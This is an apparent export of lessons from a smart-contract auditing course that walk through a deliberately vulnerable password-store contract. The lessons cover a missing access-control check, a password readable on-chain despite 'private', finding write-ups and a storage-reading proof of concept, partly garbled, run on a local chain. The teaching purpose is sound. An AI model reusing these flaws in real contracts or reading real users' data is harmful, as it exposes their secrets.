Step: Understanding The Codebase\n\nThe first thing we must do is clone the repository, centralising all our resources. After successfully cloning the repo, our mission is to understand the _raison d'être_ of the code base. To do this, we'll utilize the 'doc'—an informational guide that deciphers a program's intentions and functionalities.\n\n1. Start by opening the 'docs'.\n2. If you’re using a Mac, hit `CTRL + SHIFT + V` to enter the README view state.\n3. Don’t worry if you're not a Mac user: open the command palette and enter `markdown open preview` to view README in its shining glory.\n\n_Quick tip: Check if an extension must be installed for Vs code if it's not working for you._\n\n\n\nPerusing through the docs, we can deduce that this operates as a smart contract application for storing passwords. Here's how it functions: users can securely store their passwords and retrieve them later, with the assurance that unwanted entities won't gain access to them.\n\nGreat! Now we have context and enough background info to start thinking of potential attack vectors. For instance, is there a vulnerability in the code that might make it possible for unauthorized individuals to access the stored passwords?\n\n## Next Phase: Scoping Out The Files\n\nOur next step involves an indispensable tool: Solidity Metrics. This extension is integral to exploring our codebase, identifying file lengths, capturing the call graph, and more.\n\n1. Find Solidity Metrics on the Visual Studio code marketplace.\n2. Once installed, right-click on the visuals of the files and select 'Run Solidity Metrics'. After this action, a report will be generated.\n\n_Further Quick Tip: If you're a Windows user, employ the Ctrl+Click method._\n\nAfter generating the report, navigate to the command palette and locate 'export this metrics report'. Once exported, you'll have HTML access to the report for future reference.\n\nApplying Tincho's methodology to this process, we can:\n\n1. Scroll down to the section containing the various files and their lengths.\n2. Copy this info and paste it onto any platform that allows for easy viewing and comparison— like Google Sheets or Notion.\n\nPlease note that if your codebase contains a solitary file like ours, this step won't be necessary.\n\nNevertheless, Solidity Metrics showcases its versatility and potency when dealing with Solidity codes. It effortlessly weeds out any node modules, tests, libraries while concurrently enriching the user experience with its easy-to-navigate interface - case in point, the inheritance graph, the call graph, and the contracts summary.\n\n> “Public and external functions are going to be the ones that people can actually call. So these are going to be the ones that if a hacker wants to attack this, these are probably the functions that they're going to call.”\n\nUnderstanding your codebase and its functionalities is the first step towards securing it.\n\n## Moving Forward: Time for Detailed Recon\n\nNow that we've used Solidity Metrics to understand the project codebase, we can identify potential security issues and verify the uncertainty around external access points. Let's walk through the codebase of the SRC password store.\n\nTune in to the next blog post to continue with me on this walkthrough of the code base, where we’ll be exploring potential vulnerabilities and strengthening our codebase. This is only the beginning: stay curious, and keep learning!\n", + "updates": [] + }, + { + "id": "74157e59-a92c-4769-80d0-7a546369f7d6", + "number": 8, + "title": "Recon: Understanding the code", + "slug": "understanding-the-code", + "folderName": "8-understanding-the-code", + "description": "", + "duration": 6, + "videoUrl": "Qd-I-BnvAkM", + "rawMarkdownUrl": "/routes/security/3-first-audit/8-understanding-the-code/+page.md", + "markdownContent": "---\ntitle: Recon - Understanding the Code\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n## How Tincho Cracked the Code\n\nTincho, a prominent security researcher, shared an interesting method to hack through an encrypted code: walking through the code line-by-line. This method might seem like he was looking for bugs/vulnerabilities in the code. But actually, he was just trying to understand the codebase better. In essence, understanding the functionalities and architecture of the code forms the first and most important part of code inspection.\n\nSo let's take it from the top, just like Tincho did…\n\n## Step 1: Understanding What the Codebase Is Supposed to Do\n\nBefore you start scrutinizing the code, it's crucial to comprehend the purpose of the code. In our case, the codebase allows users to store their passwords securely.\n\n## Step 2: Scanning the Code from the Top\n\nAfter gaining a fundamental understanding, you can start going through the code. You can jump directly to the main functionality. However, to keep things simple, let's just start right from the top and start working our way down.\n\nOn observing the code carefully, we find that the Solidity compiler language version is 0.8.18. Although this is not the most recent version (quite normal), trying to understand if this was the correct compiler version can be a query. So, mark it with something like `Q: Is this the correct compiler version?`\n\n## Step 3: Taking Notes\n\nWhile walking through the code, you can jot down some points in a `Notes.md` file. These could include your thoughts, attack vectors, or even a summary of the project. You can also mark queries that you can come back to later.\n\n> **Bonus Tip**: Some security researchers, like Zero Kage from the Cypher team, even print the source code and use different color highlighters to visualize the codebase better.\n\n## Step 4: Observing the Code Structure and Naming Convention\n\nOn further deep-diving, we find some well-followed conventions, state variables like `sowner` and `s_password`, and an event `set_new_password`. The good convention use adds points to the code strength, while a poorly followed convention may raise some questions.\n\n## Step 5: Reading the Documentation\n\nNext, we find some extensive documentation written as comments. This documentation gives additional context about the functionality of the protocol.\n\n## Step 6: Identifying Functions\n\nWe can see a function here where only the owner can set a new password. Gaining clarity about this function is vital, as this is part of the main functionality of the code. And in the case of poor documentation, it can be helpful to ask the protocol directly about a function.\n\nFor example, if the function isn't clear, note down the question like `Q: What does this function do?`\n\nIt's paramount to get a context about the code base, and these questions, comments, and annotations will help you achieve that.\n\n## Final Word\n\nThough this might seem like a simple walkthrough, it’s a process that will help you understand the core functioning of any codebase. Remember, the idea is not to hunt for bugs in the first go, but to understand what the code does. As you get to know the code more, you’ll identify its bugs and vulnerabilities. Happy coding!\n", + "updates": [] + }, + { + "id": "1bc03555-0cb0-4d70-b9ee-eab97e748943", + "number": 9, + "title": "Exploit: Access control", + "slug": "access-control", + "folderName": "9-access-control", + "description": "", + "duration": 3, + "videoUrl": "DvWqYd35Cl4", + "rawMarkdownUrl": "/routes/security/3-first-audit/9-access-control/+page.md", + "markdownContent": "---\ntitle: Exploit Access Controls\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n# Discovering a Bug: How to Identify Vulnerabilities\n\nWelcome to a bug hunting expedition! In today's post, we'll be breaking down some code hoping to locate a typical and highly common vulnerability, the missing access control error. By identifying and examining this mistake within a given function, let's dive in and uncover its layers.\n\nRemember, even if the bug seems glaringly obvious or you struggle to find it, our mission today is learning how to identify such issues in code.\n\n## The Bug\n\nLet's refer to the documentation and function at hand. The former states that \"this function allows only the owner to set a new password\". Given this crucial detail, can you locate the bug?\n\n\nThe function, `setPassword`, receives `string memory new password` and is marked `external`, meaning it automatically allows for a new password to be set. Can you spot the achilles heel here?\n\n## Questioning Code\n\nOften, making sense of code requires asking the right questions like, \"Can a non-owner set the password?\" Now, if this is true (as it seems to be), it blatantly contravenes our function description, thereby ringing some alarm bells.\n\n\"Should a non-owner be allowed to set a password?\" A rhetorical question really, since anyone but the owner getting their hands on the password could brew trouble. Since the documentation rules this scenario out, it implies that we’ve sniffed out an issue.\n\nTo tie in code practice with our deduction, you could make this observation in your code by writing an audit comment, such as `@audit`. Usually, a high severity alarm since any user has the potential to change the password, leaving your system vulnerable to attack.\n\n## Uncovering Vulnerabilities\n\nDuring this recon phase, our keen detective work segues into a vulnerability identification phase. We've unearthed a common but significant vulnerability - the missing access control bug. This type of vulnerability surfaces when a function that is only supposed to be accessible by a particular user role is, in fact, accessible to all.\n\n\nConsequently, we've noticed a significant vulnerability in our function. Kudos to us! As a best practice, it's advisable to take a note of such findings, preferably with the `@audit` tag, and revisit at a later point.\n\nIt's important to remember that even if at first, it seems like a vulnerability, a closer look might reveal otherwise. For now, let's pat ourselves on the back for potentially uncovering this security risk!\n\n\n\n## The Triumph of Bug Discoveries\n\nIf you were able to pick up on the incongruity before it was pointed out, terrific job! That's a definitive sign that one is on the right track. However, if it slipped past your radar, don’t fret. Security is a vast field, demanding occasional rewiring of our conventional thought processes.\n\nLet's consider this as an exciting learning experience. Even if you didn't catch the bug but jotted down notes, you're making progress. Being vigilant enough to take notes is certainly a step in the right direction, and recognizing that we may have found a bug is a victory in itself!\n\n# Wrapping Up\n\nThrough this exercise, we deeply whoop it up for potentially making this protocol more secure. We have identified a consequential access control issue- a significant stride towards solidifying our system’s defense and aware development.\n\nLet's forge ahead, keeping this rigorous bug-checking mindset as we continue walking through more lines of code.\n\n", + "updates": [] + }, + { + "id": "43ba5486-bd51-4a1f-b203-52cf1a2fea7c", + "number": 10, + "title": "Exploit: Public Data", + "slug": "exploit-public-data", + "folderName": "10-exploit-public-data", + "description": "", + "duration": 3, + "videoUrl": "58ld0DjI7Cc", + "rawMarkdownUrl": "/routes/security/3-first-audit/10-exploit-public-data/+page.md", + "markdownContent": "---\ntitle: Exploit Public Data\n---\n\n_Follow along with this video:_\n\n\n\n\n---\n\n## Analyzing a Smart Contract Function - Not So Private After All\n\nIn this lesson, we will be taking a deep dive into the intriguing world of Smart Contract functions, specifically focusing on the last function of a given piece of code. This function is designed to allow owners to safely retrieve their passwords. However, as we will soon discover, all is not as it seems ...\n\n\n## Understanding The Function's True Aim\n\nTo provide a broad overview, the primary purpose of this function is to allow \"owners only\" to retrieve their passwords. This aligns with the need of users being able to securely store and later retrieve their password. The function is set up with a protective mechanism: if someone who is not the owner tries to access the password, it will immediately revert. This way, the owner's password maintains its legitimacy and stays secure from other users.\n\nAt first glance, you might feel reasonably comfortable storing your password on this contract. But is everything really as safe and sound as it appears to be?\n\n## Spotting The Issue\n\nUpon examining the function closer, we encounter a potential problematic scenario. The code seems to be signalling an `\"@param newPassword\"` which should theoretically represent a new password to be set. However, there appears to be no parameter for this set in the function. This is a clear discrepancy, implying the documentation for the password set must be reviewed and updated.\n\n> Attention should be drawn here - even if the courts deem it as a small discrepancy, such documentation errors could lead to practical implementation errors later on.\n\nMeanwhile, a more significant issue lurks in the background. The `s_password` variable, under the pretense of being private, is deemed completely secure. However, in a blockchain context, this assumption poses a significant error.\n\n \n## The Not-So-Private 'Private Data'\n\nOne of the fundamental principles of understanding blockchain is that *all data on the chain is public*. This means that -contrary to what this function might lead us to believe- just because the `s_password` is marked as private, it doesn't mean it's actually private.\n\nBy marking `s_password` as private, users could be lulled into a false sense of security, thinking that their password is safe. Unfortunately, the reality is quite the contrary. This breach has potential to cause significant damage as the entire protocol becomes vulnerable when just about anyone can read this supposedly 'private' password.\n\n## The Importance of Solid Foundation\n\nFinding bugs and vulnerabilities in code only appears obvious if you have a solid understanding of how Smart Contracts with Solidity works. If this blog post left you feeling a bit puzzled, you might want to check out my Foundry Course that dives deep into the mechanics of Solidity and Smart Contracts.\n\nThis blog post serves as a wake-up call for everyone in the blockchain space, highlighting the importance of understanding the foundational principles of blockchain and smart contracts. With the promise of safety and anonymity, it's crucial that we remain vigilant about the potential vulnerabilities that exist within even the most secure-seeming systems and continually strive for perfection and uncompromised security.\n\nIn the subsequent posts, we are going to write a proof of code to demonstrate how 'private' data can be read off-chain, providing further evidence for the points raised today. So, stay tuned!\n\n\n", + "updates": [] + }, + { + "id": "2f9c6946-6eb1-4d65-be39-a4fb99a76125", + "number": 11, + "title": "Recap II", + "slug": "recap-ii", + "folderName": "11-recap-ii", + "description": "", + "duration": 1, + "videoUrl": "hSSIhPgc4aA", + "rawMarkdownUrl": "/routes/security/3-first-audit/11-recap-ii/+page.md", + "markdownContent": "---\ntitle: Recap II\n---\n\n_Follow along with this video:_\\\n\n---\n\n# Unfolding Blockchain Security Issues: A Deep Dive into our latest Smart Contract Audit\n\nEager to gain insights into the world of blockchain security? Today, we'll examine three potential security vulnerabilities we discovered during one of our recent smart contract security audits. These vulnerabilities lay at the heart of access control with implications that could strike at the very essence of blockchain privacy.\n\n## Vulnerability 1: Access Control Issues\n\nFirst and foremost, we must start with access control — a critical security factor. Here, the most concerning problem we identified concerns the setting of a password.\n\n**Access control should ensure that only the owner of the contract can set the password. However, during our audit, we found that the security mechanism missed a critical check.**\n\nTo simplify the concept, the access control should look like this:\n\n```javascript\nif (msg.sender !== s_owner) {\n revert(\"Not owner\");\n}\n```\n\nThis logic check denotes that if the message sender doesn’t match the owner, then the system should revert or rollback any change, ensuring that only the correct owner can modify the password. Unfortunately, this check was missing in the audited contract, resulting in a major security lapse.\n\n\n\n## Vulnerability 2: Erroneous Parameter\n\nThe second issue found during the audit is as seemingly insignificant as an erroneous parameter. While an erroneous parameter might seem harmless, it can lead to function misbehavior, cause inconsistencies, and eventually, weaken the security of the contract.\n\nAlthough less conspicuously problematic than the missing ownership check, an erroneous parameter has potential for misuse and exploits.\n\n## Vulnerability 3: On-chain Password Storage\n\nLast but definitely not least, we noticed that the application stored passwords on-chain. This is a major security concern as **all data on chain is public information**. Therefore, storing passwords, or any sensitive information for that matter, on-chain exposes them to public view, compromising the so-called private information.\n\n> _Remember, data stored on-chain equals to public information. Keeping passwords or any private data secure means that they must be off-chain._\n\n## Preliminary Audit Findings: Three Potential Vulnerabilities\n\nTo sum up our audit findings, we discovered three potential vulnerabilities: A missing ownership check, an erroneous parameter that could lead to future exploits and breach, and, most alarmingly, the practice of storing passwords on-chain.\n\nThese could be catastrophic if not addressed in time. However, the severity of these issues is yet to be assessed, which brings us to the next phase of our audit.\n\nWe hope to bring you more interesting insights from the audit trail once the severity of these potential vulnerabilities is gauged. So, congratulations to us and our eagle-eyed audit team. With our findings, we can contribute significantly to making the protocol safer.\n\nGreat work, indeed! Let us continue to uncover potential threats and fortify the world of blockchain one step at a time. Here's looking forward to safer and secure smart contracts for everyone in the blockchain community! Stay tuned for further updates on these security vulnerabilities.\n", + "updates": [] + }, + { + "id": "98ac9db5-d6b3-4d8f-bc83-9ddfe3b4a322", + "number": 12, + "title": "Protocol tests", + "slug": "protocol-tests", + "folderName": "12-protocol-tests", + "description": "", + "duration": 3, + "videoUrl": "gEqNT-2JfXM", + "rawMarkdownUrl": "/routes/security/3-first-audit/12-protocol-tests/+page.md", + "markdownContent": "---\ntitle: Protocol Tests\n---\n\n_Follow along with this video:_\n\n---\n\n# The In-depth Guide to Code Reconnaissance\n\nIn the exciting field of programming, the process of code reconnaissance plays a crucial role. Delving into a new code base can be daunting, whether it's your project or someone else's. But fear not, this lesson aims to guide you through diverse techniques and tools you can utilize to make sense out of a new codebase.\n\nWe'll go through recon steps such as:\n\n- Checking README instruction\n- Reviewing contract scope\n- Examining essential code functions\n- Testing and coverage checks\n\nReady to dive in? Let's start!\n\n## _README_ Instructions: Where It All Begins\n\nThe _README_ file is the launchpad for your process of understanding any new codebase. It usually includes essential commands you can execute, and in our case, we have: `make anvil`, `make deploy`, `forge test`, and `forge coverage`.\n\nThese provide a good starting point but we won't stop here. We might want to further scrutinize, say, the deploy function to ensure its validity.\n\n> **Note:** While sticking to the README allows you to understand the core functionalities, don't forget to step out of it and explore unknown territories.\n\n## Diving into Contract Scope\n\nThe most fundamental step is to get a grasp of the contract's scope. Analyze it thoroughly, then rinse and repeat till you're confident with its functionality. The more you explore, the higher the chance of spotting a loophole!\n\n### Ask Questions. A Lot of Them!\n\nThrough your investigation, a lot of queries might pop up. Ask them all! Are you using the correct compiler version? Went through all possible functionalities? No question is a bad question. The right questions can lead you to inherent vulnerabilities that might've been overlooked.\n\nWith our codebase, we were successful in answering all the puzzles, helping us understand the code better and potentially spotting some vulnerabilities.\n\n![](https://cdn.videotap.com/fy1smyAfljLp0FhGEGGG-71.64.png)\n\n## Testing and Coverage\n\nOnce you are through with the code's understanding, the next step is to dive into code testing. You might want to run `forge test` to evaluate the test coverage of the code base.\n\nPrior to this, ensure you've run a code build to know how many tests exist and perhaps peek into the test folder to understand more about existing tests.\n\n> **Pro Tip:** It's advisable to look for whether every potential scenario has a corresponding test.\n\nFor example, in our codebase, two tests existed - `test owner can set password` and `test non owner reading password reverts`. However, we found no test ensuring that a non-owner can't set the password.\n\nThis indicated a lack of comprehensive test coverage, possibly leading to unidentified vulnerabilities.\n\n## Vanity Metric?: Deciphering Code Coverage\n\nConducting an analysis via `forge coverage` could offer insights into the code coverage. Yet, it's important to remember that coverage can sometimes be a hollow indication of code quality.\n\nFor instance, even though our code reported a 100% coverage, we were able to discover significant vulnerabilities. Simply, anyone could set or read the password. Furthermore, we found misleading documentation.\n\n\n\n## Finalises Code Audit\n\nOnce you've gathered all your findings, it's time to do a final review of your audit. In our case, we identified three major issues that need an elaborate write up.\n\nRunning a quick search for \"@audit\" would list down all issues identified. This is your final chance to ensure nothing slips through the cracks.\n\nIn conclusion, code reconnaissance is a step-by-step, detailed process that involves careful understanding, thorough checks, and comprehensive testing. Always remember, the more in-depth you delve, the more efficient your code audit would be.\n", + "updates": [] + }, + { + "id": "96f8af07-f18f-4682-864f-cef0a6abc240", + "number": 13, + "title": "Writing an amazing finding", + "slug": "finding-report", + "folderName": "13-finding-report", + "description": "", + "duration": 4, + "videoUrl": "FwFPrE38Epw", + "rawMarkdownUrl": "/routes/security/3-first-audit/13-finding-report/+page.md", + "markdownContent": "---\ntitle: Writing an amazing finding report\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n## Moving Forward After Identifying Vulnerabilities\n\nAfter the identification phase, we are tasked with communicating our findings to the protocol. This phase is crucial on several levels:\n\n1. We need to convince the protocol that the identified vulnerabilities are issues.\n2. The issues require necessary fixes to prevent a recurrence.\n3. Our intention is not merely pointing out the problems but to make the protocol safer.\n4. In a competitive audit, proving the issues to the judges is our primary focus.\n\nBy effectively communicating this information, we position ourselves as educators, helping the protocol understand **why** these vulnerabilities are issues, **why** they were overlooked, and **how** to fix them to avoid running into the same issues in the future.\n\n## Writing Your First Finding\n\nNow comes an incredibly exciting part - doing a minimalistic write up of the vulnerabilities you've found. If this is your first time writing a finding, then buckle up!\n\nFor this walkthrough, we'll be using our main GitHub repository, from where we scroll all the way up to the files and look for a file named 'findinglayout.md' This minimalist markdown layout will guide us on what our findings should ideally look like. Here, we can quickly view its raw format and, for convenience, copy it over to our codebase.\n\nWe could create a new folder named 'Audit Data' and a new file marked 'Finding Layout MD' and paste the copied markdown layout here. This way, we have a markdown version of what our findings should look like.\n\nIf you use Visual Studio Code, you can preview the markdown layout by pressing \"command Shift V\" on a Mac. Fear not if you're on Linux or Windows, just opening the command palette and choosing 'preview Markdown open preview,' you'll get the same result.\n\n## Layout for Your Finding Writeup\n\nYou're free to customize the information in your finding writeup as per your style and the severity of the issues found. The aim is to convince the protocol that there's a problem, articulate the severity of the issue, and finally suggest how to fix it.\n\nHaving copied the markdown layout, we can create a new file called 'Findings MD' and paste the layout here as a starting point for our first finding.\n\n## Making Your Case\n\nLet's say our first finding is that the password variable is not as private as it may initially appear. Despite being marked 'private,' this does not mean that the data is inherently secure, as the keyword just denotes that other contracts can't read it. However, human beings can still read from a stored variable in the blockchain!\n\nTo illustrate the vulnerability, we provide the following example:\n\n> \"The S password variable is not actually private. This is not a safe place to secure your password.\"\n\nIt falls onto us to convince the protocol that the private keyword doesn't impart the level of security they might think, necessitating a change.\n\n## Conclusion\n\nWriting an audit report demands a deep understanding not only of the protocol's vulnerabilities but also the deft skill in communicating these findings effectively. As you develop your professional style, always remember the importance of your role as an educator. If executed correctly, your findings can drive crucial changes for a more secure protocol in the future.\n", + "updates": [] + }, + { + "id": "508a9bbd-9427-41bb-a5be-3e6c63cfeaba", + "number": 14, + "title": "Writing an amazing finding: Title", + "slug": "an-amazing-title", + "folderName": "14-an-amazing-title", + "description": "", + "duration": 2, + "videoUrl": "tiVy5MvFPaM", + "rawMarkdownUrl": "/routes/security/3-first-audit/14-an-amazing-title/+page.md", + "markdownContent": "---\ntitle: An Amazing Title\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n# Writing Your Findings: A Guide to Eloquent and Effective Security Audits\n\nIn the world of data security and blockchain technology, precision is key. From the precision of coding to the precision of documentation, every iota of detail counts. Today, I'll walk you through how to articulate your findings proficiently, specifically when pinpointing vulnerabilities in a smart contract. Just as repetition hones a skill, I encourage you to write alongside me. Let's start refining your ability to document your audit findings accurately and eloquently.\n\n## Getting Started\n\nFirst things first, we need to discuss severity rating. We will revisit this later on, but it is a pertinent start to categorize your issue in terms of severity.\n\nThe main event of any audit report is _the title_. It provides the reader with an immediate overview of the issue and the implications. Crafting a title is a blending art and precision. A well-formed, succinct title is a straightforward combination of the root cause and the impact.\n\n## Identifying the Root Cause\n\nWhen we discuss the 'root cause', we refer to the originating flaw or glitch prompting the vulnerability. In our case, the root cause lies in the uninhibited visibility of the on-chain data storage. In other words, variables stored in on-chain storage are visible and accessible to anyone, disregarding any solidity visibility keyword.\n\n## Understanding the Impact\n\nMoving onto the 'impact', it's the specific issue or discrepancy caused by the root cause. In simpler terms, it answers the \"why\" something is problematic. In our situation, the fact that our 'password' stored on-chain is public makes it loses its privateness.\n\nThis could be a potential title, enveloping both the root cause and the impact. Yet, it tends to feel lengthy and a bit complex. The challenge here is to retain the essential details while making it more accessible and crisp.\n\n## Fine-Tuning Your Title\n\nLet us revise our initial title to achieve more brevity and clarity. How about, \"Storing password on-chain makes it visible to anyone?\"\n\nWith this simplified title, we now have a neat encapsulation of the root cause (\"Storing the password on chain\") and its respective impact (\"...makes it visible to anyone\"). It maintains the severity of the issue while discarding unnecessary complexity.\n\nIn summary, creating an ideal title in this context is a balance between the concise depiction of the root Cause and its resultant Impact. It implies the nature of the problem and its potential implications without being verbose or cryptic.\n\n> \"The success of your audit report depends largely on the clarity, precision and brevity of your titles that depict the root cause and its potential impact.\"\n\nUltimately, the goal here is to help you fine-tune your audit-writing abilities. The better you get at portraying your findings, the wider will be its understanding and more efficient the solutions. Now that you know how to craft a succinct and informative title, apply this drill to every vulnerability you encounter and notice your improvement in getting your findings across.\n", + "updates": [] + }, + { + "id": "9620492b-6c47-44bb-80c4-48b43dd53f94", + "number": 15, + "title": "Writing an amazing finding: Description", + "slug": "description", + "folderName": "15-description", + "description": "", + "duration": 4, + "videoUrl": "uhVuTDxudz8", + "rawMarkdownUrl": "/routes/security/3-first-audit/15-description/+page.md", + "markdownContent": "---\ntitle: Description\n---\n\n_Follow along with this video:_\n\n---\n\n# Unmasking The Vulnerabilities of Chain Data Visibility\n\nHello, you! Here's an exciting topic that's sure to peak your interest - the valuable teachings of the protocol and its vulnerabilities when dealing with on-chain data storage. We've carefully crafted a compelling and extremely informative blog post. Read on to uncover the potential issues that can occur.\n\n## Crucial Description\n\nA fail-proof practice while dealing with data uncovering in blockchain is to equip our auditors with a concise yet educative description. Given the fact that all data stored on-chain is visible to anyone, the assumption that they can be read directly from the blockchain is worryingly accurate.\n\nJust to illustrate, consider the 'S_password variable' - which is intended to remain private, with its sole accessibility granted via the getPassword function. This function is essentially restricted to the contract's owner.\n\nHowever, the card up our sleeves here is a curious knack of being able to reveal data off-chain. At this point, you must be intrigued to see one method of achieving this. Look no further, it's all here under \"proof of concept.\"\n\nSome of these variables might seemingly sink into oblivion when we're dealing with vast code bases. A widely followed practice in such scenarios is to distinguish variable and function names by highlighting them with backticks and specifying their contract name. For instance, here's how to format them:\n\nNow when you view these chunks of code, you immediately know that `S_password` is a variable and `GetPassword` is a function. And not to forget, they are directly fetched from the code base.\n\n## What's The Impact?\n\nHere's a jolt of reality - should anyone access the private password, it dismantles the protocol's functionality entirely. Quite some impact there, isn't it?\n\n\n\n## Convincing Proof of Concept\n\nThis next section is where we prove that our claims are real concerns and not just theoretical hypotheses. There's a somewhat humorous, albeit cynical, stereotype that dismisses auditors and security researchers as confused individuals trying to convince the protocol gurus about their 'imaginary' findings.\n\n> \"Yeah, yeah, sure, whatever, you dumb auditor, you dumb security researcher. I don't believe, you! You're confused.\"\n\nLet's change that perception, shall we? The 'proof of concept', sometimes referred to as 'proof of code', is where we do just that. The onus is entirely on us auditors to convince the protocol about its vulnerabilities and their aftermath.\n\nOur proof of concept is even more critical during competitive audits. Without it, it's nearly impossible to convince a judging panel about the legitimacy of your findings.\n\nBut what if you're dealing with a sophisticated protocol? And perhaps you've already hinted at them that their on-chain data can be read directly off-chain, to which they might react like so:\n\n> \"Oh, yes, oh my God, you're right.\"\n\nWell, in such cases, you might not need to bullish about providing an exhaustive proof of concept. Nevertheless, especially at the early stages of your career, it's advisable to err on the side of elaborate explanation.\n\nThat's what we're doing here. To help you visualize the protocol's flaws better, we've constructed a test case that exemplifies how anyone can access the password directly from the blockchain. This is where we attempt to outsmart the approach of reading data directly off the blockchain.\n\nTo wrap things up, let's remember that while dealing with protocol vulnerabilities, being succinct yet comprehensive is the key towards effective auditing and security research. Happy auditing!\n", + "updates": [] + }, + { + "id": "b77665e5-0308-4fc4-b3d3-0077c840bcae", + "number": 16, + "title": "Writing an amazing finding: Proof of code", + "slug": "proof-of-code", + "folderName": "16-proof-of-code", + "description": "", + "duration": 3, + "videoUrl": "LhsdSF5IaA4", + "rawMarkdownUrl": "/routes/security/3-first-audit/16-proof-of-code/+page.md", + "markdownContent": "---\ntitle: Proof of Code\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n# Demystifying Blockchain Security: A Test Case with Anvil and Foundry\n\nIn this post, we'll explore how to deploy a password store on a locally running blockchain, read from the password store, and access data that's meant to be private. By doing this, we're going to demonstrate a real-world example of a serious blockchain security issue we should all be aware of.\n\n## Setting Up A Locally Running Blockchain Using Anvil\n\nThe first step is to set up a fake blockchain to work with. If you have Foundry installed, Anvil should also be part of your development ecosystem. Anvil allows us to create a fake blockchain, convenient for simulating scenarios without breaching actual blockchain security.\n\nRun the following command to initiate Anvil:\n\n```shell\nanvil\n```\n\nThis should set Anvil running, creating a local blockchain.\n\n## Deploying Password Store using Foundry\n\nThe next step involves deploying a password store onto the locally running blockchain. To do this, we'll need a new shell from your terminal. We'll then run a script that will deploy the password store to our locally running blockchain. This deployment script resides in a makefile.\n\nReading Data Off the BlockchainOnce the password store is deployed, we can use Foundry's capability to access the stored data. Foundry has a keyword `Storage` which is used to read from the blockchain. Let's say the password was stored in slot 1; we can retrieve the data like so:```shcas storage -a contract\\_address -s 1 -u rpc\\_urlNote: replace `contract_address`with the actual address and`rpc_url` with your Anvil's Remote Procedure Call URL.\n\nThis will return a byte representation of the password, i.e., `my password`.\n\n## Parsing Byte Representation\n\nTo translate these bytes back into their original form, we can use the `parse` command in Foundry.\n\nReplace `byte_representation` with the byte return from `cas storage`. The output should coincide with the initially stored password, `my password`.\n\n## Concluding Findings\n\nThe process we've discussed provides proof that it's possible to read private data directly off the chain. An attacker can potentially retrieve and misuse this data.\n\n> \"This test case is overkill in a private audit, but clearly illustrates the importance of blockchain security in a competitive audit or when dealing with less experienced developers.\"\n\nTo sum up: first, we initialized a fake blockchain using Anvil, then deployed a password-store onto this fake blockchain. We used Foundry to read from this password-store on the blockchain, and decoded the byte output back to its original form. This audit experience is a handy reminder for developers to take extreme caution while storing sensitive information on a blockchain. The potential repercussions of mismanaging blockchain security extend beyond mere financial loss - they can potentially compromise your user's data and trust.\n", + "updates": [] + }, + { + "id": "b62a9017-ac67-450d-bca0-3aaa84fbe1ec", + "number": 17, + "title": "Writing an amazing finding: Recommended Mitigation", + "slug": "recommended-mitigation", + "folderName": "17-recommended-mitigation", + "description": "", + "duration": 2, + "videoUrl": "jFepZXpu5QI", + "rawMarkdownUrl": "/routes/security/3-first-audit/17-recommended-mitigation/+page.md", + "markdownContent": "---\ntitle: Recommended Mitigation\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n## The Problem\n\nLet's start with this premise: You're creating a contract. The main aim of this contract is to store a private password that no one else can see. The contract architecture is such that it guarantees complete security by hiding this password. But imagine finding a glaring bug that breaks this promise. The truth is, maintaining your private password's security isn't a piece of cake, especially in the current architecture. The question is, how can we work around this issue?\n\n\"To be honest, this isn't an easy problem to solve. And this is where the importance of having a security mindset from day one comes into play\" -_Anonymous_.\n\n## Mitigation Starts with the Mindset\n\nGreat developers, particularly those at the helm of solidity and smart contract development, have a security-first mindset from the get-go. This means that they factor in security loops and potential threats right from the outset, ensuring that the whole system architecture leans towards security as its major prop. So what's their secret to creating hack-proof smart contracts? How do we actually mitigate such issues?\n\n## Re-Thinking the Architecture\n\nLet's examine this scenario: A bug in your contract deems it useless. So, the question becomes, how do we create a contract that stays strong despite all odds? Well, the overall architecture of the contract needs to be re-evaluated and restructured.\n\n### An off-chain encryption solution?\n\nOne approach could be to encrypt the password off-chain, then store the encrypted password on-chain. This would require an additional password that the user must remember for decrypting purposes.\n\nTake note, though, if you're considering this approach, you'll likely want to remove the view function. This prevents the user from having to send a transaction with the password that decrypts your password most of the time.\n\n## Wrapping Up: Rethinking Security as Educators\n\nRecommended mitigations might include specifying the code changes you want to implement. However, because an entire architectural reconstruction is required, text-format suggestions should suffice.\n\nAs security researchers, our role veers more towards being security educators. Our goal is to educate about clever methods of securing protocols to ensure forward safety and credibility. If you think you can provide a better mitigation method or strategy, I'm inviting you to contribute to the discussion and broaden our collective knowledge.\n\nBy doing so, you're helping create a future where bugs like these are a thing of the past, and each new challenge brings us one step closer to creating safer and more secure smart contracts. Let's challenge ourselves to come up with better ways to secure our future in the ever-evolving world of blockchain and smart contracts. Never forget, your contribution can make a significant difference!\n", + "updates": [] + }, + { + "id": "ae91e415-198e-419c-998a-126ad430ed59", + "number": 18, + "title": "Finding Writeup Recap", + "slug": "finding-writeup", + "folderName": "18-finding-writeup", + "description": "", + "duration": 4, + "videoUrl": "C_i0jrSLR9k", + "rawMarkdownUrl": "/routes/security/3-first-audit/18-finding-writeup/+page.md", + "markdownContent": "---\ntitle: Finding Writeup Recap\n---\n\n_Follow along with this video:_\n\n---\n\n## Previewing Your First Write-Up\n\n\n\nThe only thing that's missing is the severity, but don't worry, we'll come back to that a little later. For now, let's go over the structure and content of your initial write-up.\n\n### The Write-Up Structure\n\n1. **Title**: It's hard-hitting and to the point. For example, \"Storing the password on-chain leads to privacy breach.\"\n2. **Severity Status**: This is currently absent but we'll come back to it.\n3. **Root Cause**: The title explains the bug's root cause — the password storage on-chain is visible to anyone, which is a significant privacy issue.\n4. **Impact**: It highlights the considerable ramifications — that the password isn't private anymore.\n5. **Description**: This is a brief explanation of the problem, widely enhanced by using markdown.\n6. **Proof of Code**: It explains how anyone, with available tools, could exploit this particular vulnerability.\n7. **Recommended Mitigation**: A practical mitigation is suggested, such as encrypting the password off-chain and storing the encrypted password on-chain.\n\nWhile it may feel provocative to suggest ditching the whole protocol, we'd like to keep things constructive, offering more context or solutions where possible. Our goal is to educate developers on securing their smart contracts better.\n\nWith this first issue sorted, you might want to delete it, or keep it for reference — it's up to you.\n\n_For brevity, let's move on to the next issue we spotted: missing access control._\n\n## Identifying the Next Issue: Missing Access Control\n\nThe 'Set Password' function can be accessed by anyone, whereas it should only be callable by the owner.\n\n### Adding a New 